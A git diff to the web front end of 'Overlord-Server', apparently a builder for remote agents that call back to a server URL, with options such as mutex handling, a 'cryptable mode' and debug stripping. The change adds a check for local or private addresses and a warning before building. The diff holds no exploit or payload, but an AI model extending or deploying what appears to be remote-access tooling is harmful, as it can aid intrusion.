diff --git a/Overlord-Server/public/assets/build-server-url.js b/Overlord-Server/public/assets/build-server-url.js new file mode 100644 index 0000000..8616029 --- /dev/null +++ b/Overlord-Server/public/assets/build-server-url.js @@ -0,0 +1,45 @@ +function extractHostname(value) { + const candidate = String(value || "").trim(); + if (!candidate) return ""; + + try { + const url = new URL(/^[a-z][a-z\d+.-]*:\/\//i.test(candidate) ? candidate : `http://${candidate}`); + return url.hostname.replace(/^\[|\]$/g, "").replace(/\.$/, "").toLowerCase(); + } catch { + return candidate.replace(/^\[|\]$/g, "").split("%")[0].toLowerCase(); + } +} + +function isLocalIpv4(hostname) { + const parts = hostname.split("."); + if (parts.length !== 4 || parts.some((part) => !/^\d{1,3}$/.test(part))) return false; + const octets = parts.map(Number); + if (octets.some((octet) => octet > 255)) return false; + + return octets[0] === 0 + || octets[0] === 10 + || octets[0] === 127 + || (octets[0] === 169 && octets[1] === 254) + || (octets[0] === 172 && octets[1] >= 16 && octets[1] <= 31) + || (octets[0] === 192 && octets[1] === 168); +} + +function isLocalIpv6(hostname) { + const host = hostname.split("%")[0]; + if (host === "::" || host === "::1" || host === "0:0:0:0:0:0:0:1") return true; + + const mappedIpv4 = host.match(/^(?:::ffff:|0:0:0:0:0:ffff:)(\d+\.\d+\.\d+\.\d+)$/i); + if (mappedIpv4) return isLocalIpv4(mappedIpv4[1]); + + const firstHextet = Number.parseInt(host.split(":", 1)[0], 16); + return Number.isFinite(firstHextet) + && ((firstHextet >= 0xfc00 && firstHextet <= 0xfdff) + || (firstHextet >= 0xfe80 && firstHextet <= 0xfebf)); +} + +export function isLocalServerAddress(value) { + const hostname = extractHostname(value); + if (!hostname) return false; + if (hostname === "localhost" || hostname.endsWith(".localhost")) return true; + return isLocalIpv4(hostname) || (hostname.includes(":") && isLocalIpv6(hostname)); +} diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 951d95e..f1a159d 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -8,6 +8,7 @@ import { revealElement, staggerChildren, } from "./motion.js"; +import { isLocalServerAddress } from "./build-server-url.js"; const form = document.getElementById("build-form"); const buildBtn = document.getElementById("build-btn"); @@ -33,6 +34,7 @@ const pluginsLink = document.getElementById("plugins-link"); const rawServerListCheckbox = document.getElementById("raw-server-list"); const serverUrlInput = document.getElementById("server-url"); const serverUrlCurrentBtn = document.getElementById("server-url-current-btn"); +const serverUrlLocalWarning = document.getElementById("server-url-local-warning"); const solMemoCheckbox = document.getElementById("sol-memo"); const solSettings = document.getElementById("sol-settings"); const profileSelect = document.getElementById("build-profile-select"); @@ -200,8 +202,29 @@ function updateServerUrlPlaceholder() { function updateServerUrlCurrentButton() { if (!serverUrlCurrentBtn) return; const isRaw = rawServerListCheckbox?.checked ?? false; + const isCurrentHost = !isRaw + && !!serverUrlInput?.value.trim() + && stripServerUrlPrefix(serverUrlInput.value) === getCurrentServerUrlForMode(); serverUrlCurrentBtn.classList.toggle("hidden", isRaw); serverUrlCurrentBtn.disabled = isRaw; + serverUrlCurrentBtn.setAttribute("aria-pressed", String(isCurrentHost)); + serverUrlCurrentBtn.classList.toggle("bg-slate-800/70", !isCurrentHost); + serverUrlCurrentBtn.classList.toggle("border-slate-700", !isCurrentHost); + serverUrlCurrentBtn.classList.toggle("text-slate-300", !isCurrentHost); + serverUrlCurrentBtn.classList.toggle("bg-blue-600", isCurrentHost); + serverUrlCurrentBtn.classList.toggle("border-blue-400", isCurrentHost); + serverUrlCurrentBtn.classList.toggle("text-white", isCurrentHost); + serverUrlCurrentBtn.classList.toggle("shadow-lg", isCurrentHost); + serverUrlCurrentBtn.classList.toggle("shadow-blue-950/50", isCurrentHost); +} + +function updateLocalServerWarning() { + const showWarning = isLocalServerAddress(serverUrlInput?.value); + serverUrlLocalWarning?.classList.toggle("hidden", !showWarning); + serverUrlInput?.classList.toggle("border-slate-700", !showWarning); + serverUrlInput?.classList.toggle("border-red-500", showWarning); + serverUrlInput?.setAttribute("aria-invalid", String(showWarning)); + updateServerUrlCurrentButton(); } let isBuilding = false; @@ -893,6 +916,7 @@ function applyFormSettings(settings) { } if (serverUrlInput && rawServerListCheckbox) { updateServerUrlPlaceholder(); + updateLocalServerWarning(); } applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false); updateWebrtcFirewallPromptOption(); @@ -1141,6 +1165,11 @@ function updateWebrtcFirewallPromptOption() { } restoreFormSettings(); +if (serverUrlInput && !serverUrlInput.value.trim()) { + serverUrlInput.value = getCurrentServerUrlForMode(); + saveFormSettings(); +} +updateLocalServerWarning(); initAccordions(); initBuilderTabs(); loadBuildPlugins(); @@ -1177,6 +1206,7 @@ if (rawServerListCheckbox && serverUrlInput) { serverUrlInput.value = stripServerUrlPrefix(current); } updateServerUrlPlaceholder(); + updateLocalServerWarning(); }); if (serverUrlCurrentBtn) { @@ -1189,6 +1219,7 @@ if (rawServerListCheckbox && serverUrlInput) { serverUrlInput.dispatchEvent(new Event("input", { bubbles: true })); serverUrlInput.dispatchEvent(new Event("change", { bubbles: true })); saveFormSettings(); + updateLocalServerWarning(); serverUrlInput.focus(); }); } @@ -1196,7 +1227,10 @@ if (rawServerListCheckbox && serverUrlInput) { // Live-strip protocol prefixes in non-raw mode so the field stays clean and // the user sees their typo corrected immediately. serverUrlInput.addEventListener("input", () => { - if (rawServerListCheckbox.checked) return; + if (rawServerListCheckbox.checked) { + updateLocalServerWarning(); + return; + } const before = serverUrlInput.value; const after = stripServerUrlPrefix(before); if (after !== before) { @@ -1204,6 +1238,7 @@ if (rawServerListCheckbox && serverUrlInput) { serverUrlInput.value = after; try { serverUrlInput.setSelectionRange(caret, caret); } catch {} } + updateLocalServerWarning(); }); } @@ -2022,6 +2057,12 @@ form?.addEventListener("submit", async (e) => { const rawServerList = form.querySelector("#raw-server-list")?.checked || false; const serverUrlRaw = form.querySelector("#server-url").value.trim(); const serverUrl = rawServerList ? serverUrlRaw : stripServerUrlPrefix(serverUrlRaw); + if (isLocalServerAddress(serverUrlRaw) && !confirm( + "WARNING: LOCAL SERVER ADDRESS\n\nThis agent will not be able to connect from outside this machine or local network. Outbound connections from remote networks will fail.\n\nBuild with this local address anyway?" + )) { + serverUrlInput?.focus(); + return; + } const mutex = form.querySelector("#mutex")?.value.trim() || ""; const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false; const stripDebug = form.querySelector('input[name="strip-debug"]').checked; diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 1c63225..50a1573 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -556,7 +556,7 @@
-